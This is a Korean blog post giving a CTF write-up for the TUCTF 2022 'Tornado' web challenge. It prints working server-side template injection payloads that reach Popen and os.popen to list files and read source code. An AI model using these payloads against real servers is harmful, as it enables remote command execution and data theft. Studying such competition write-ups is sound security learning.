반응형
TUCTF 2022 Web Tornado Writeup
1. Tornado Writeup
Description
My friend gave me the templet to his website, it is built using tornado. Can you help me find the flag?
먼저 문제 설명을 보면 템플릿을 이용해서 web을 만들었다고 해서 주저없이 SSTI를 삽입해봤다. 따로 주는 코드가 없다.
{{7*7}}
역시 jinja 템플릿을 통한 SSTI 취약점이 있었다. 이후 필터링이 걸려있는지 확인하기 위해 subclasses까지 넣어봤다.
{{ ''.__class__.__mro__[1].__subclasses__()}}
다 나오는 걸 보니 쉬운 문제이다. 이후 Popen을 찾았고 바로 cat flag를 했는데 계속 오류가 나와서 여기서 잠깐 삽질을 했다. 바로 ls로 검색했다.
{{ ''.__class__.__mro__[1].__subclasses__()[232]('ls', shell=1, stdout=-1).communicate() }}
flag가 없었다. 생각해보니 flag가 웹에 있다고 했으니, web2.py에 있을 것이라고 생각했다.
{{ ''.__class__.__mro__[1].__subclasses__()[232]('cat web2.py', shell=1, stdout=-1).communicate() }}
flag가 나왔다.
요즘 SSTI 문제를 풀 기회가 많아서 연습이 되어있었다. 잠깐의 삽질만 안했으면 퍼블 먹을 수 있었는데 아쉬웠다.
다른풀이
{% import os %}{{os.popen('ls').read()}}
위 페이로드를 집어넣으면 lookatme.txt 파일이 나온다. 파일을 읽으면 base64로 인코딩된 값이 출력된다.
다시 디코딩을 하면 주소값이 나오고, 들어가보면 Joe의 쿠키값이 나온다. 이 쿠키값을 문제 사이트에 입력하면 flag가 나온다.
728x90
'웹해킹 > CTF' 카테고리의 다른 글
idekCTF2022 Web / Readme writeup (0) | 2023.01.17 |
---|---|
TUCTF 2022 Web My Assembly Line Writeup (1) | 2022.12.08 |
화이트햇 콘테스트 2022 CTF Web Buffalo [Secret] (0) | 2022.11.23 |
Codegate CTF 2022 WEB My Blog Writeup (0) | 2022.11.21 |
화이트햇 콘테스트 2022 Web Buffalo[Steal] Writeup (0) | 2022.11.19 |